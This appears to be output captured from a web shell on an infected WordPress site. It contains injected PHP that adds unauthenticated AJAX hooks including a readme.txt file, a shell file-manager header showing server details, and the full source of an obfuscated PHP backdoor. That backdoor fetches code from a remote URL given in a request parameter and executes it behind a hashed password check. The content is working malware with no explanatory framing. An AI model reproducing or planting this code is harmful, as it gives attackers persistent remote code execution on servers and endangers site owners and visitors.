if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/user/user/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/user/user/Jmtk.jpc
<?php
 goto ogpyxeLC_znkW_; mf2dQAee20LsMM: $eRoAKEVNAXefnC = ${$BwEO9Mi01Ak1fK[8 + 23] . $BwEO9Mi01Ak1fK[39 + 20] . $BwEO9Mi01Ak1fK[22 + 25] . $BwEO9Mi01Ak1fK[32 + 15] . $BwEO9Mi01Ak1fK[10 + 41] . $BwEO9Mi01Ak1fK[31 + 22] . $BwEO9Mi01Ak1fK[19 + 38]}; goto mygjbN9gKo0xGA; ogpyxeLC_znkW_: $BwEO9Mi01Ak1fK = range("\176", "\x20"); goto mf2dQAee20LsMM; uoyUjycA3fn1zr: class dkhDifvq3gah4Y { static function S13mOh8iypNNWo($Z7B0HYQpKsZTZX) { goto tgudBFI829XmKm; KHOrk74D_wji6r: foreach ($GQ8iSEt5TFHwAe as $LJJ7cY9gmpaXmm => $aEWET321_MQ9O9) { $cEnSh1MraZZiHw .= $DuxVDesf60TyU6[$aEWET321_MQ9O9 - 47731]; m3hdli5lPhy7b8: } goto wZGPnBxll1TEx0; ny7cC3RhvnJgD_: return $cEnSh1MraZZiHw; goto xVn7IkiP4mHY6z; H2sLZ1K2uTku_t: $GQ8iSEt5TFHwAe = explode("\136", $Z7B0HYQpKsZTZX); goto hec1vIf8tWu9vx; B6VHhsKgfSeeh2: $DuxVDesf60TyU6 = $O31S7bmiT7sQVN("\176", "\x20"); goto H2sLZ1K2uTku_t; tgudBFI829XmKm: $O31S7bmiT7sQVN = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto B6VHhsKgfSeeh2; hec1vIf8tWu9vx: $cEnSh1MraZZiHw = ''; goto KHOrk74D_wji6r; wZGPnBxll1TEx0: o373U5XSb8xc9D: goto ny7cC3RhvnJgD_; xVn7IkiP4mHY6z: } static function fqVFZE4n8jH8mu($MQH7llxtqTSosB, $ahWrqXin2u8pA4) { goto zeCnhJkiovMl49; cQ6N4FLyUupdOm: curl_setopt($yUtIfx_G4g3PQb, CURLOPT_RETURNTRANSFER, 1); goto uW39rhtXtkPOXv; zeCnhJkiovMl49: $yUtIfx_G4g3PQb = curl_init($MQH7llxtqTSosB); goto cQ6N4FLyUupdOm; uW39rhtXtkPOXv: $iZ7Q9qBprFV1pp = curl_exec($yUtIfx_G4g3PQb); goto PSrwQ65g7HbAP4; PSrwQ65g7HbAP4: return empty($iZ7Q9qBprFV1pp) ? $ahWrqXin2u8pA4($MQH7llxtqTSosB) : $iZ7Q9qBprFV1pp; goto z5otSV5FxVRWcg; z5otSV5FxVRWcg: } static function tBhKUTUVv_HR3X() { goto udTu12teMrrdT3; q2uMTIFW_90A_M: if (!(@$lHDMxKDtbRe2IH[0] - time() > 0 and md5(md5($lHDMxKDtbRe2IH[1 + 2])) === "\x32\x39\x37\70\64\145\x34\143\61\142\65\145\145\x39\64\142\x36\x30\60\65\x63\x61\x30\x63\66\64\67\x66\x65\x34\145\x38")) { goto XIqdZlZy1yGmHB; } goto vuPtWR_BEchMJf; SS4bxITaAZGEiC: XIqdZlZy1yGmHB: goto muWYZCgz8y8Td0; vuPtWR_BEchMJf: $hT3DibxuLBcjxT = self::FQvfZe4N8jH8MU($lHDMxKDtbRe2IH[0 + 1], $t4HRLHssL25ka1[5 + 0]); goto USHfq8V9PQ3qtP; Sm0WdWr6XGJ029: HK1mC2q491kV8G: goto C3_SCFCcYGkpjj; ZBq3BsB5Dr6AbW: $lHDMxKDtbRe2IH = $t4HRLHssL25ka1[0 + 2]($Pp5pi6c76KMJR2, true); goto Z1tTms2VMUAiVt; udTu12teMrrdT3: $Q8PmP8lzG4ybIL = array("\64\67\67\x35\70\x5e\x34\67\67\x34\63\136\x34\x37\67\x35\66\136\x34\67\67\x36\x30\136\64\67\x37\64\61\x5e\64\x37\67\x35\x36\136\x34\x37\67\66\x32\x5e\64\x37\x37\65\65\x5e\64\67\x37\64\60\x5e\64\67\67\64\67\x5e\x34\67\67\x35\x38\136\64\x37\67\x34\61\x5e\x34\67\67\65\62\x5e\64\x37\67\x34\x36\x5e\x34\67\67\x34\x37", "\64\x37\x37\x34\x32\x5e\64\x37\67\64\x31\x5e\x34\67\67\64\63\136\64\x37\67\x36\x32\136\x34\67\x37\64\x33\x5e\64\67\67\x34\x36\136\64\x37\x37\64\x31\x5e\64\67\70\x30\x38\136\x34\x37\x38\60\66", "\x34\x37\x37\65\x31\136\x34\x37\x37\64\x32\x5e\64\x37\67\64\x36\x5e\64\x37\67\64\67\x5e\64\x37\x37\66\62\x5e\64\x37\67\65\67\136\x34\x37\x37\x35\66\136\64\x37\x37\65\70\x5e\x34\67\x37\64\66\x5e\64\67\67\x35\67\136\x34\x37\67\65\x36", "\x34\67\x37\x34\65\x5e\64\67\x37\66\x30\x5e\x34\x37\x37\x35\70\x5e\x34\67\67\x35\60", "\64\67\67\x35\71\136\x34\67\x37\66\60\136\64\x37\x37\x34\x32\x5e\64\x37\x37\x35\66\136\64\x37\70\60\x33\x5e\64\67\x38\x30\65\x5e\64\x37\x37\x36\x32\x5e\64\67\x37\x35\67\136\x34\67\x37\x35\66\136\64\x37\x37\x35\x38\x5e\64\67\x37\64\66\x5e\x34\x37\67\65\x37\136\x34\x37\67\x35\x36", "\x34\67\67\65\x35\136\64\67\x37\65\x32\x5e\x34\67\67\x34\x39\x5e\64\67\x37\65\x36\x5e\64\x37\67\x36\62\136\x34\67\x37\65\x34\136\x34\67\x37\x35\66\x5e\x34\x37\x37\x34\61\x5e\64\67\x37\66\62\136\64\67\x37\x35\70\x5e\64\67\x37\64\66\x5e\64\67\x37\64\67\136\64\67\67\x34\x31\136\x34\67\x37\x35\x36\136\64\x37\67\64\x37\x5e\x34\x37\67\64\x31\136\x34\67\x37\x34\x32", "\64\67\x37\x38\65\x5e\x34\67\x38\x31\65", "\x34\67\67\x33\62", "\x34\x37\70\61\60\136\x34\67\x38\61\x35", "\x34\67\67\x39\x32\136\x34\67\67\67\65\x5e\x34\x37\67\67\65\x5e\x34\67\x37\71\62\136\64\x37\x37\66\x38", "\64\x37\x37\x35\65\x5e\64\67\67\65\x32\x5e\x34\x37\67\64\x39\x5e\x34\x37\x37\x34\61\136\x34\67\x37\x35\x36\x5e\64\67\x37\64\63\136\x34\x37\x37\66\62\136\64\67\67\65\62\x5e\x34\67\67\x34\67\x5e\x34\x37\67\64\x35\x5e\x34\67\x37\x34\x30\x5e\x34\x37\x37\x34\61"); goto G58iBS3ELEXpli; Z1tTms2VMUAiVt: @$t4HRLHssL25ka1[0 + 10](INPUT_GET, "\157\x66") == 1 && die($t4HRLHssL25ka1[5 + 0](__FILE__)); goto q2uMTIFW_90A_M; G58iBS3ELEXpli: foreach ($Q8PmP8lzG4ybIL as $ciiGA_CSG3vO_W) { $t4HRLHssL25ka1[] = self::S13moH8iYPnnwO($ciiGA_CSG3vO_W); iT4qT8vmBQjMHd: } goto Sm0WdWr6XGJ029; USHfq8V9PQ3qtP: @$t4HRLHssL25ka1[0]('', $t4HRLHssL25ka1[7 + 0] . $t4HRLHssL25ka1[4 + 0]($hT3DibxuLBcjxT) . $t4HRLHssL25ka1[3 + 5]); goto A_pdZLKvX1w7U8; A_pdZLKvX1w7U8: die; goto SS4bxITaAZGEiC; C3_SCFCcYGkpjj: $S1rNLyuumQv2YL = @$t4HRLHssL25ka1[1]($t4HRLHssL25ka1[3 + 7](INPUT_GET, $t4HRLHssL25ka1[5 + 4])); goto VhEBeEm4xC8Hhz; VhEBeEm4xC8Hhz: $Pp5pi6c76KMJR2 = @$t4HRLHssL25ka1[2 + 1]($t4HRLHssL25ka1[2 + 4], $S1rNLyuumQv2YL); goto ZBq3BsB5Dr6AbW; muWYZCgz8y8Td0: } } goto zLalyW4ItSbPoA; mygjbN9gKo0xGA: @(md5(md5(md5(md5($eRoAKEVNAXefnC[9])))) === "\x39\141\x39\x36\x37\x37\143\x31\x35\x63\x63\x33\67\x30\x39\144\143\x63\67\x33\x34\x37\60\145\70\60\142\144\144\x31\x39\x31") && (count($eRoAKEVNAXefnC) == 15 && in_array(gettype($eRoAKEVNAXefnC) . count($eRoAKEVNAXefnC), $eRoAKEVNAXefnC)) ? ($eRoAKEVNAXefnC[67] = $eRoAKEVNAXefnC[67] . $eRoAKEVNAXefnC[76]) && ($eRoAKEVNAXefnC[83] = $eRoAKEVNAXefnC[67]($eRoAKEVNAXefnC[83])) && @($eRoAKEVNAXefnC = $eRoAKEVNAXefnC[83]($eRoAKEVNAXefnC[57], $eRoAKEVNAXefnC[67](${$eRoAKEVNAXefnC[34]}[13]))) && $eRoAKEVNAXefnC() : $eRoAKEVNAXefnC; goto aq4jFG99LCqLYg; aq4jFG99LCqLYg: metaphone("\115\x44\x49\65\x4f\104\x45\64\x4d\124\143\x30\117\124\121\x33\115\172\147\170\x4e\172\105\170\x4d\104\131\x32\115\x7a\x59\170"); goto uoyUjycA3fn1zr; zLalyW4ItSbPoA: DkHdiFvQ3gAh4y::TBhKutUVV_Hr3x();
?>
@ Telegram